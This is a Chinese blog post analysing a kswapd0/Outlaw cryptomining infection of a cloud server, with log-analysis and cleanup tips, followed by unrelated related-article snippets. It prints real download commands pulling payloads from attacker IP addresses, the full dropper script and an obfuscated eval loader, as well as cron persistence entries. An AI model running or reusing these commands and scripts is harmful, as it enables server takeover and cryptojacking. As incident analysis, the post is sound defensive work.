kswapd0挖矿病毒攻击记录
文章目录
- 一、起因与病毒分析
- 1、起因
- 2、阿里云告警
- 2.1 恶意脚本代码执行1
- 2.2 恶意脚本代码执行2
- 2.3恶意脚本代码执行3
- 2.4 恶意脚本代码执行4
- 3、病毒简单分析
- 3.1 病毒的初始化
- 3.2 病毒本体执行
- 4、总结
- 二、ubuntu自救指南
- 1、病毒清理
- 2、如何防御
一、起因与病毒分析
1、起因
最近内网穿透服务以及自建的博客一直掉线,重启服务也不行,用 top 查看发现1个kswapd0进程占用了一整个核(机器是2C4G),遂查刚开始以为是使用swap分区与内存换页操作交换数据造成的,但是清理了缓存仍无果,最终发现被挖矿木马攻击了。
2、阿里云告警
登陆阿里云控制台,也告警了阿里云异地登陆了,云安全中心显示凭证窃取,把我root密码爆破了
2.1 恶意脚本代码执行1
sh -c ./tddwrt7s.sh "http://167.172.213.233/dota3.tar.gz" "http://5.161.227.142/dota3.tar.gz" "http://216.70.68.24/dota3.tar.gz" "http://104.131.132.54/dota3.tar.gz" "http://172.104.46.33/dota3.tar.gz" "http://37.139.10.109/dota3.tar.gz" "http://46.101.132.59/dota3.tar.gz" >.out 2>&1 3>&1
2.2 恶意脚本代码执行2
sh -c wget -q http://161.35.236.24/tddwrt7s.sh || curl -s -O -f http://161.35.236.24/tddwrt7s.sh 2>&1 3>&1
2.3恶意脚本代码执行3
2.4 恶意脚本代码执行4
/root/.configrc5/a/kswapd0
3、病毒简单分析
3.1 病毒的初始化
tddwrt7s.sh
脚本内容,脚本主要是下载dota3的病毒文件,并运行初始化
#!/bin/bash
if [ -d "/tmp/.X2y1-unix/.rsync/c" ]; thencat /tmp/.X2y1-unix/.rsync/initall | bash 2>1&exit 0
elsecd /tmprm -rf .sshrm -rf .mountfsrm -rf .X2*rm -rf .X3*rm -rf .X25-unixmkdir .X2y1-unixcd .X2y1-unixRANGE=6s=$RANDOMlet "s %= $RANGE"
if [ $s == 0 ]; thensleep $[ ( $RANDOM % 500 ) + 15 ]scurl -O -f $1 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $1fi
if [ $s == 1 ]; thensleep $[ ( $RANDOM % 500 ) + 5 ]scurl -O -f $2 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $2fi
if [ $s == 2 ]; thensleep $[ ( $RANDOM % 500 ) + 25 ]scurl -O -f $3 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $3fi
if [ $s == 3 ]; thensleep $[ ( $RANDOM % 500 ) + 10 ]scurl -O -f $4 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $4fi
if [ $s == 4 ]; thensleep $[ ( $RANDOM % 500 ) + 30 ]scurl -O -f $5 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $5fi
if [ $s == 5 ]; thensleep $[ ( $RANDOM % 500 ) + 15 ]scurl -O -f $6 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $6fi
if [ $s == 6 ]; thensleep $[ ( $RANDOM % 500 ) + 55 ]scurl -O -f $7 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $7fisleep 60star xvf dota3.tar.gzsleep 10s
# rm -rf dota3.tar.gzcd .rsynccat /tmp/.X2y1-unix/.rsync/initall | bash 2>1&
fi
exit 0
可以发现首先是运行了/tmp/.X2y1-unix/.rsync/initall
脚本,打开发现进行了shell混淆,最后eval命令会执行其后的参数作为Shell命令
z="
";qz=''\''{pr';Fz='& pw';fz=' tsm';Zz=' go>';CBz='{pri';Ez=' ~ &';XBz='p -v';Yz='l -9';Vz='tdd.';wBz='" ];';DCz='2 | ';Az='slee';qBz='p 10';SBz='-9 l';yBz='n';UBz='nux';dz='> .o';nz='-v g';iz='`ps ';Gz='d)';gz='kill';pz='awk ';jBz=' '\''{p';Dz='$(cd';kBz='rint';gBz='grep';oz='rep|';lz='un|g';cBz='t $1';kz='ep r';nBz='cat ';vz='ep g';VBz='ep x';hz=' -9 ';Cz='dir=';RBz='mrig';bBz='prin';GBz='sm|g';HBz='chat';Bz='p 1';Lz='E';CCz='else';xz='ep -';OBz='kr -';lBz=' $1}';Xz='pkil';ABz='ep|a';ZBz='p|aw';tz='`> .';hBz=' -v ';KBz='~/.c';jz='x|gr';pBz=' | s';eBz='ep l';FBz='ep t';fBz='nux|';vBz='grc5';Uz='.x*';Sz='nu.*';LBz='onfi';mBz=''\''`';oBz='init';Tz='.F*';uz='out';ez='ut';aBz='k '\''{';wz='o|gr';Rz='h';yz='v gr';IBz='tr -';cz=' run';WBz='|gre';Wz='sh';rBz='if [';Nz='dev/';ACz='exit';iBz='|awk';Oz='shm/';Jz='tmp/';BCz=' 0';TBz='d-li';Hz='rm -';bz='t';Mz='E*';tBz='"$di';JBz='iaR ';dBz='}'\''`';PBz='all ';BBz='wk '\''';mz='rep ';NBz='lock';ECz='fi';Qz='nu.s';DBz='nt $';az=' .ou';rz='int ';uBz='r/.c';sz='$1}'\''';Iz='rf /';EBz='1}'\''`';xBz=' the';QBz='-9 x';YBz=' gre';MBz='grc*';Kz='.FIL';sBz=' -d ';Pz='var/';
eval "$Az$Bz$z$Cz$Dz$Ez$Fz$Gz$z$Hz$Iz$Jz$Kz$Lz$z$Hz$Iz$Jz$Kz$Mz$z$Hz$Iz$Nz$Oz$Kz$Mz$z$Hz$Iz$Nz$Oz$Kz$Lz$z$Hz$Iz$Pz$Jz$Kz$Lz$z$Hz$Iz$Pz$Jz$Kz$Mz$z$Hz$Iz$Jz$Qz$Rz$z$Hz$Iz$Jz$Sz$z$Az$Bz$z$Hz$Iz$Nz$Oz$Qz$Rz$z$Hz$Iz$Nz$Oz$Sz$z$Hz$Iz$Jz$Tz$z$Hz$Iz$Jz$Uz$z$Hz$Iz$Jz$Vz$Wz$z$Xz$Yz$Zz$az$bz$z$Xz$Yz$cz$dz$ez$z$Xz$Yz$fz$dz$ez$z$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$uz$z$gz$hz$iz$jz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$dz$ez$z$gz$hz$iz$jz$FBz$GBz$mz$nz$oz$pz$qz$rz$sz$tz$uz$z$HBz$IBz$JBz$KBz$LBz$MBz$z$NBz$OBz$JBz$KBz$LBz$MBz$z$gz$PBz$QBz$RBz$z$gz$PBz$SBz$TBz$UBz$z$Az$Bz$z$gz$hz$iz$jz$VBz$RBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$z$gz$hz$iz$jz$eBz$TBz$fBz$gBz$hBz$gBz$iBz$jBz$kBz$lBz$mBz$z$nBz$oBz$pBz$Rz$z$Az$qBz$z$rBz$sBz$tBz$uBz$LBz$vBz$wBz$xBz$yBz$z$ACz$BCz$z$CCz$z$nBz$oBz$DCz$Wz$z$ECz$z$ACz$BCz"
我们首先进行解密,利用bash的调试模式即可bash -x xxx.sh
,注意这是追踪模式,命令还是会运行,这里主要就是病毒的初始化运行,将一些服务暂停,缓存文件进行删除。后面就是几个脚本的定时执行,加入公钥,修改定时任务,开始挖矿
3.2 病毒本体执行
首先看了一下.ssh,把我的.ssh删除了,加入了它的公钥。然后看一下定时任务,哦吼,定时任务被修改了
crontab -l 5 6 * * 0 /root/.configrc5/a/upd>/dev/null 2>&1
@reboot /root/.configrc5/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.configrc5/b/sync>/dev/null 2>&1
@reboot /root/.configrc5/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X2y1-unix/.rsync/c/aptitude>/dev/null 2>&1
从定时任务可以看出,主要是两个文件目录,一个是/root/.configrc5
,还有一个是/tmp/.X2y1-unix
(都是隐藏目录,很狡猾),注意还有一个/tmp/up.txt
文件,这就是被爆破的root账号密码
# /root/.configrc5目录结构,病毒所在目录
├── a
│ ├── a
│ ├── bash.pid
│ ├── cert_key.pem
│ ├── cert.pem
│ ├── dir.dir
│ ├── init0
│ ├── kswapd0
│ ├── run
│ ├── stop
│ └── upd
├── b
│ ├── a
│ ├── dir.dir
│ ├── run
│ ├── stop
│ └── sync
├── cron.d
└── dir2.dir# /tmp/.X2y1-unix/.rsync目录结构
├── 1
├── a
│ ├── a
│ ├── init0
│ ├── kswapd0
│ ├── run
│ └── stop
├── b
│ ├── a
│ ├── run
│ └── stop
├── c
│ ├── aptitude
│ ├── blitz
│ ├── blitz32
│ ├── blitz64
│ ├── dir.dir
│ ├── go
│ ├── n
│ ├── run
│ ├── start
│ ├── stop
│ └── v
├── dir.dir
├── init
├── init0
├── init2
└── initall/root/.configrc/* #病毒所在目录
/root/.ssh/ #病毒公钥
/tmp/.X2y1-unix/.rsync/* #病毒运行缓存文件
/tmp/.X2y1-unix/dota3.tar.gz #病毒压缩包
/root/.configrc5/a/kswapd0 #病毒主程序
然后就是a.kswapd0和c.blitiz64 两个执行程序,执行程序加入了混淆加密。b.run 是一段perl脚本,可以base64解密。具体的文件代码可以参考,有兴趣的可以研究一下。下载地址
4、总结
Outlaw病毒通过SSH攻击,访问目标系统并下载带有shell脚本、挖矿木马、后门木马的TAR压缩包文件dota3.tar.gz。解压后的文件目录可以看到,根目录rsync下存放初始化脚本,a目录下存放shellbot后门,b目录下存放挖矿木马,c目录下存放SSH攻击程序。
# 常用的日志分析技巧
# 定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 定位有哪些IP在爆破:
grep "Failed password" /var/log/auth.log|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
# 爆破用户名字典是什么?
grep "Failed password" /var/log/auth.log|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr# 登录成功的IP有哪些:
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 登录成功的日期、用户名、IP:
grep "Accepted " /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'
二、ubuntu自救指南
1、病毒清理
1、top + kill -9 首先停止可疑进程
2、清理定时任务crontab -e
3、删除相关后门ssh key内容,vim /root/.ssh/authorized_keys
4、删除/tmp目录下缓存文件(不同病毒可能不一样),rm -rf .X2y1-unix/
5、删除病毒目录和文件,rm -rf /root/.configrc5
6、(其他暂时没发现后门,不过我发现病毒给的停止删除命令挺好使的)
2、如何防御
1、修改我们的账号密码,加强复杂度,不要使用口令
2、公有云添加白名单策略,业务端口只允许公司出口IP访问
https://blog.csdn.net/subfate/article/details/106546646
https://www.cnblogs.com/autopwn/p/17355657.html
相关文章:

kswapd0挖矿病毒攻击记录
文章目录 一、起因与病毒分析1、起因2、阿里云告警2.1 恶意脚本代码执行12.2 恶意脚本代码执行22.3恶意脚本代码执行32.4 恶意脚本代码执行4 3、病毒简单分析3.1 病毒的初始化3.2 病毒本体执行 4、总结 二、ubuntu自救指南1、病毒清理2、如何防御 一、起因与病毒分析 1、起因 …...
如何使用 takeUntil RxJS 操作符来声明性地管理订阅
简介 Angular 处理取消订阅可观察对象的操作,比如从 HTTP 服务返回的可观察对象或者使用 async 管道时。然而,对于其他情况,管理所有订阅并确保取消长期存在的订阅可能会变得困难。而且,取消大部分订阅的策略也会带来自己的问题。…...

在Centos中用Docker部署oracle-12c
一、介绍 Oracle 12c是Oracle 11g的后续版本。12c代表云计算(Cloud Computing),这是Oracle在该版本中强调的一个关键概念。它具有多租户架构、数据库内存、安全增强、大数据管理和自动化管理等功能。它被广泛应用于企业级应用程序和大型数据…...
JS进阶——高级技巧
版权声明 本文章来源于B站上的某马课程,由本人整理,仅供学习交流使用。如涉及侵权问题,请立即与本人联系,本人将积极配合删除相关内容。感谢理解和支持,本人致力于维护原创作品的权益,共同营造一个尊重知识…...
TG-ADMIN 权限管理系统
项目简介 该项目是一款基于 SpringBoot + Vue2 + Jwt + ElementUi的 RBAC模型管理系统。 主要以自定义拦截器和jwt结合进行权限验证 通过自定义指令实现按钮级别权限,使用经典的RBAC模型 什么是RBAC? 1、RBAC模型概述 RBAC模型(Role-Based Access Control:基于角色的…...
十五届蓝桥杯第三期模拟赛题单(C++、java、Python)
备战2024年蓝桥杯 省赛第三期模拟赛题单 备战Python大学A组 第一题 【问题描述】 请问 2023 有多少个约数?即有多少个正整数,使得 2023 是这个正整数的整数倍。 【问题描述】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果…...

嵌入式驱动学习第一周——git的使用
前言 本文主要介绍git的使用,包括介绍git,gitee,以及使用gitee创建仓库并托管代码 嵌入式驱动学习专栏将详细记录博主学习驱动的详细过程,未来预计四个月将高强度更新本专栏,喜欢的可以关注本博主并订阅本专栏…...

界面控件DevExpress .NET MAUI v23.2新版亮点 - 拥有全新的彩色主题
DevExpress拥有.NET开发需要的所有平台控件,包含600多个UI控件、报表平台、DevExpress Dashboard eXpressApp 框架、适用于 Visual Studio的CodeRush等一系列辅助工具。屡获大奖的软件开发平台DevExpress 今年第一个重要版本v23.1正式发布,该版本拥有众多…...
大语言模型LLM Pro+中Pro+(Prompting)的意义
—— Pro ,即Prompting,构造提示 1.LLM Pro中Pro(Prompting)的意义 Prompting不仅是大语言模型交互和调用的一种高效手段,而且已成为推动模型泛化能力和应用灵活性的关键技术路径,它不仅极大地拓展了模型功…...
React 中,children 属性
在 React 中,children 属性是一个特殊的属性,它允许你将组件作为其他组件的子元素传递。这意味着你可以在组件内部嵌套任何类型的子组件或元素,并且在父组件中通过 props.children 访问它们。这为组件的复用和组合提供了极大的灵活性。 以下…...

多行业万能预约门店小程序源码系统 支持多门店预约小程序 带完整的安装代码包以及搭建教程
随着消费者对于服务体验要求的不断提升,门店预约系统成为了许多行业提升服务质量、提高运营效率的重要工具。然而,市面上的预约系统往往功能单一,无法满足多行业、多场景的个性化需求。下面,小编集合了多年的行业经验和技术积累&a…...
Node.js 中 fs 模块文件操作的应用教程
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,它可以让 JavaScript 代码在服务器端运行。在 Node.js 中,fs 模块是用来处理文件系统操作的模块。通过 fs 模块,我们可以进行文件的读取、写入、删除等操作。本教程将介绍如何在 No…...
一些常用到的git命令
git stash -a //缓存所有文件 git checkout -b dev origin/dev //切换到dev分支上,接着跟远程的origin地址上的dev分支关联起来 //推送本地分支到远程仓库 git push origin localbranchname:remotebrancname git revert onefile //https://www.freecodecamp.org/news/git-re…...

spring boot3解决跨域的几种方式
⛰️个人主页: 蒾酒 🔥系列专栏:《spring boot实战》 🌊山高路远,行路漫漫,终有归途。 目录 1.前言 2.何为跨域 3.跨域问题出现特征 4.方式一:使用 CrossOrigin 注解 5.方式二:自定义…...
【Spring】19 @Autowired注解使用详解
文章目录 构造函数注入Setter方法注入字段注入数组和集合注入特殊情况处理特殊接口类型的注入异常处理结语 Spring 框架的 Autowired 注解是实现依赖注入的一种强大而灵活的方式。在本文中,我们将介绍 Autowired 注解的多种用法,包括构造函数、setter方法…...

Educational Codeforces Round 132 (Rated for Div. 2) E. XOR Tree(启发式合并+贪心)
题目 n(n<2e5)个点的树,点i权值ai(1<ai<2^30) 修改最少的点的权值,使得树上不存在异或和为0的简单路径,输出最少的点数 权值可以被修改成任意正整数(可以是无限大) 思路来源 官方…...

JavaScript 基本数据类型的详解
JavaScript的基本数据类型 以下都是JS内置的几种类型 数据类型描述number数字,不区分整数和小数string字符串类型booleantrue 真, false 假undefined表示未定义的值null只有唯一的值 null,表示空值 number 数字类型 JavaScript 中不区分整数和浮点数&…...

DDR5内存相比DDR4内存的优势和区别?选择哪一个服务器内存配置能避免丢包和延迟高?
根据幻兽帕鲁服务器的实际案例分析,选择合适的DDR4与DDR5内存大小以避免丢包和延迟高,需要考虑以下几个方面: 性能与延迟:DDR5内存相比DDR4在传输速率、带宽、工作电压等方面都有显著提升,但同时也伴随着更高的延迟。D…...
篮球游戏中的挑战精神与怄气心理:扣篮被帽后的再度冲击
在篮球比赛中,扣篮无疑是最具观赏性和震撼力的动作之一,它展示了球员的爆发力、技巧和自信。而在篮球游戏中,玩家即便面临连续扣篮被盖帽的挫折,仍渴望继续杀入内线尝试扣篮的现象,实则是体育竞技精神、挑战意识与怄气…...

JavaScript高级程序设计
前言 《JavaScript高级程序设计》 第1章——什么是JavaScript DOM将整个页面抽象为一组分层节点。 BOM用于支持访问和操作浏览器的窗口。 第2章——HTML中的JavaScript 2.1 < script >元素 元素描述async立即开始下载脚本,但不能阻止其他页面动作&#…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
JDK 17 新特性
#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持,不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的ÿ…...

【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...
【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)
1.获取 authorizationCode: 2.利用 authorizationCode 获取 accessToken:文档中心 3.获取手机:文档中心 4.获取昵称头像:文档中心 首先创建 request 若要获取手机号,scope必填 phone,permissions 必填 …...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...

Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...
Bean 作用域有哪些?如何答出技术深度?
导语: Spring 面试绕不开 Bean 的作用域问题,这是面试官考察候选人对 Spring 框架理解深度的常见方式。本文将围绕“Spring 中的 Bean 作用域”展开,结合典型面试题及实战场景,帮你厘清重点,打破模板式回答,…...

Xela矩阵三轴触觉传感器的工作原理解析与应用场景
Xela矩阵三轴触觉传感器通过先进技术模拟人类触觉感知,帮助设备实现精确的力测量与位移监测。其核心功能基于磁性三维力测量与空间位移测量,能够捕捉多维触觉信息。该传感器的设计不仅提升了触觉感知的精度,还为机器人、医疗设备和制造业的智…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用
前言:我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM(Java Virtual Machine)让"一次编写,到处运行"成为可能。这个软件层面的虚拟化让我着迷,但直到后来接触VMware和Doc…...